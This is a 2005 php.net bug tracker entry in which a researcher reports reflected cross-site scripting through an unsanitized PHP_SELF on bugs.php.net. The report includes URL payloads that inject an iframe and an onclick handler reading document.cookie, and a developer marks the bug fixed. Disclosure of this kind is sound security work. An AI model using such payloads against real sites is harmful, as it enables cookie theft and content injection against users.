php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #32978 XSS In php.net
Submitted: 2005-05-08 16:43 UTC Modified: 2005-05-08 23:40 UTC
From: security at gulftech dot org Assigned:
Status: Closed Package: Website problem
PHP Version: Irrelevant OS: WinXP Pro
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: security at gulftech dot org
New email:
PHP Version: OS:

 

 [2005-05-08 16:43 UTC] security at gulftech dot org
Description:
------------
One of the most commonly overlooked xss vectors is the unsanatized PHP_SELF call :) I hope this helps.

James

Reproduce code:
---------------
http://bugs.php.net/search.php/%22%3E%3Ciframe%20src=http://www.linuxsecurity.org%3E?cmd=display&status=&search_for=phpinfo+PHP_SELF+cross+site+scripting&php_os=&boolean=0&author_email=&bug_age=0&by=&order_by=&direction=&phpver=&limit=30&assign=&begin=90

Expected result:
----------------
iframe opening an arbitrary location


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2005-05-08 21:52 UTC] security at gulftech dot org
also, stuff like this still woks

http://bugs.php.net/bug.php/%22%20onclick='alert(document.cookie)';?id=32978

Kind Regards,

James
 [2005-05-08 23:40 UTC] rasmus@php.net
fixed
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sun Dec 22 11:01:30 2024 UTC